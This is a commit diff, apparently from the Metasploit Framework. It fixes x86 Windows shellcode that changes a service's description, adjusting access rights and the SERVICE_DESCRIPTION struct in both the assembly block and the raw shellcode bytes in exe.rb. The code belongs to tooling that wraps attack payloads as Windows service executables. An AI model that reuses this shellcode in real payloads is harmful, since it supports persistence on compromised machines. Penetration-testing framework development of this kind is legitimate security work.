Skip to content

Commit bb4e9e2

Browse files
Florian Gaultieragix
authored andcommitted
correct error in block service_change_description
1 parent 6332957 commit bb4e9e2

File tree

2 files changed

+9
-5
lines changed

2 files changed

+9
-5
lines changed

external/source/shellcode/windows/x86/src/block/block_service_change_description.asm

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
[BITS 32]
88
; Input: EBP must be the address of 'api_call'.
99

10-
push 0x000F01FF
10+
push 0x000F003F
1111
push 0x00000000
1212
push 0x00000000
1313
push 0x7636F067
@@ -24,7 +24,11 @@ call ebp ;OpenServiceA
2424
mov esi, eax
2525
push 0x00464349
2626
push 0x56524553
27+
mov ecx, esp
28+
push 0x00000000
29+
push ecx
2730
mov ecx, esp ;SVCDESCRIPTION
31+
push ecx
2832
push 0x00000001 ;SERVICE_CONFIG_DESCRIPTION
2933
push eax
3034
push 0xED35B087

lib/msf/util/exe.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -545,12 +545,12 @@ def self.to_win32pe_service(framework, code, opts={})
545545
pushed_service_description = string_to_pushes(opts[:servicedescription])
546546

547547
code_service_description =
548-
"\x68\xFF\x01\x0F\x00\x6A\x00\x6A\x00\x68\x67\xF0\x36" +
548+
"\x68\x3F\x00\x0F\x00\x6A\x00\x6A\x00\x68\x67\xF0\x36" +
549549
"\x76\xFF\xD5\x89\xC7"+pushed_service_name+"\x89\xE1\x68" +
550550
"\xFF\x01\x0F\x00\x51\x50\x68\x56\x28\x4B\x40\xFF\xD5\x89\xC6" +
551-
pushed_service_description+"\x89\xE1\x6A\x01\x50\x68\x87\xB0\x35" +
552-
"\xED\xFF\xD5\x56\x68\xDE\xEA\x77\xAD\xFF\xD5\x57\x68\xDE\xEA\x77" +
553-
"\xAD\xFF\xD5"
551+
pushed_service_description+"\x89\xE1\x6A\x00\x51\x89\xE1\x51" +
552+
"\x6A\x01\x50\x68\x87\xB0\x35\xED\xFF\xD5\x56\x68\xDE\xEA\x77" +
553+
"\xAD\xFF\xD5\x57\x68\xDE\xEA\x77\xAD\xFF\xD5"
554554
end
555555

556556
precode_size = 0x42

0 commit comments

Comments
 (0)